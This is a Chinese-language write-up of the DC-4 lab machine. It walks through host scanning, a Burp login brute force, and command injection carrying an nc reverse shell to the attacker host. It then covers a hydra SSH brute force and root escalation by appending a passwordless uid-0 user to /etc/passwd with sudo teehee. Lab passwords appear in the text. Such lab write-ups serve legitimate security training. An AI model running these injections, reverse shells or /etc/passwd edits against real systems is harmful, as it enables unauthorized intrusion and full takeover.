环境搭建
靶机:DC-4,IP地址:192.168.52.137
攻击机:Kali,IP地址:192.168.52.134
渗透测试
一. 信息收集
1、下载安装并启动DC-4
下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。
在这里记一下DC-4的MAC地址,等下用的到。
启动DC-4时开机就好,因为不知道用户名和密码,所以登录不了
2、打开kali,查看kali的IP地址和子网掩码
因为DC-4和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-4的网络号
DC-4的网络号是:192.168.52.0/24
3、使用netdiscover扫描主机
netdiscover -i eth0 -r 192.168.52.0/24
##netdiscover: -i 指定网卡 -r 指定网段
也可以使用nmap进行主机发现,
nmap -sP 192.168.52.0/24
在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址
或使用arp-scan -l命令拿到DC-4的IP地址
arp-scan -l
根据之前记下的MAC地址确定扫描到的主机哪一个是DC-4,因为MAC地址是主机的唯一标识。
获得DC-4靶机ip:192.168.52.137(可通过kali浏览器访问进行验证)
4、使用nmap扫描DC-4,看有什么服务是可利用的(端口扫描)
root@kali:~# nmap -sV -A 192.168.52.137
-sV只扫描端口及其版本号
-A扫描端口的详细信息
发现目标机开放了22、80端口,web服务使用的是nginx/1.15.10版本
5、我们以80端口作为突破口,访问80,查看基本信息
可以使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息
Wappalyzer相关信息:
没有相关cms信息
利用dirsearch进行网站目录扫描:
dirsearch -u 192.168.52.137 -e * -i 200
-i 状态码 只显示该状态码
-x 状态码 不显示该状态码
没有发现其他目录文件
相关信息没有什么大的发现,只有首页有一个登陆框,需要账号登录,估计是admin账号,可以使用Burp suite试一下爆破登录
二. 渗透测试
1、使用burp suite来爆破一下登录密码
因为没有字典,所以复制kali的/usr/share/john下的password.lst到桌面
使用burp抓包,
爆破密码成功,密码为:happy
尝试登录,登录成功
点击进Command,有个run,点击一下发现执行了命令
2、命令执行与反弹shell
使用burp来抓包
发现执行的命令等于Run按钮,将数据发送到重发器(Repeater)
然后在重发器点击响应
得到数据
那这样子我们试试修改一下他的命令,然后把数据发动回去
radio=nc+192.168.52.134+4444+-e+/bin/bash&submit=Run
kali开启监听,获取到信息
nc -lvvp 4444
反弹交互shell
python -c 'import pty;pty.spawn("/bin/sh")'
尝试进入到home目录,看到三个文件夹,应该是三个用户
# pwd
# cd /home
# ls
当我进入到jim的目录下的backups文件夹的时候发现下面有个old-passwords.bak的文件,查看发现好像是密码字典
3、爆破jim用户的密码
将内容复制到password.txt的文本里
既然有了这个密码字典,那拿来试试能不能爆出jim的密码
使用hydra来爆
hydra -l jim -P password.txt ssh://192.168.52.137
得到jim的密码 jibril04
4、进行ssh登录
登录成功
登录后提示有一封邮箱
查看邮箱,发现用户和密码:charles:^xHhA&hvim0y
charles是之前在home里看到的其中一个,并且还给了密码,可以尝试切换用户,成功登录charles:
5、teehee提权
寻找提权点: sudo -l
发现teehee不需要执行命令就可以执行root权限
查看teehee的帮助信息,得到teehee的参数a可以在文件后面加入内容
想到在/etc/passwd文件加入具有root权限的自定义用户名并且不设置密码
/etx/passwd文件下的用户格式为:
用户名:密码占位符:用户id:组id:备注信息:家目录:命令执行环境
echo 'admin::0:0::/home/admin:/bin/bash' |sudo teehee -a /etc/passwd
切换用户即可提权成功
echo 'test::0:0::/home/admin:/bin/bash' |sudo teehee -a /etc/passwd
su test
拿到root权限
成功拿到flag
三.DC-4总结
1、使用kali的字典爆破登录密码: /usr/share/john下的password.lst
burp抓包,并且爆破到admin账号的密码
2、发现命令执行,进行利用:
burp修改数据包添加反弹shell的相关命令发送到靶机,kali监听到获取shell反弹
radio=nc+192.168.1.9+4444+-e+/bin/bash&submit=Run
3、利用python获取交互shell:
python -c 'import pty;pty.spawn("/bin/sh")'
进入到home目录,发现三个用户:charles、jim、sam
4、查看三个用户文件,获得jim用户的密码字典,进行hydra密码爆破,获得jim用户的ssh密码
5、进行jim用户的ssh登录,登录后发现邮件,查看邮箱,发现charles用户的ssh密码:charles:^xHhA&hvim0y,之后切换用户
6、寻找提权点,发现teehee不需要执行命令就可以执行root权限,利用teeheem命令进行提权:
echo 'test::0:0::/home/admin:/bin/bash' |sudo teehee -a /etc/passwd
获得root权限,得到flag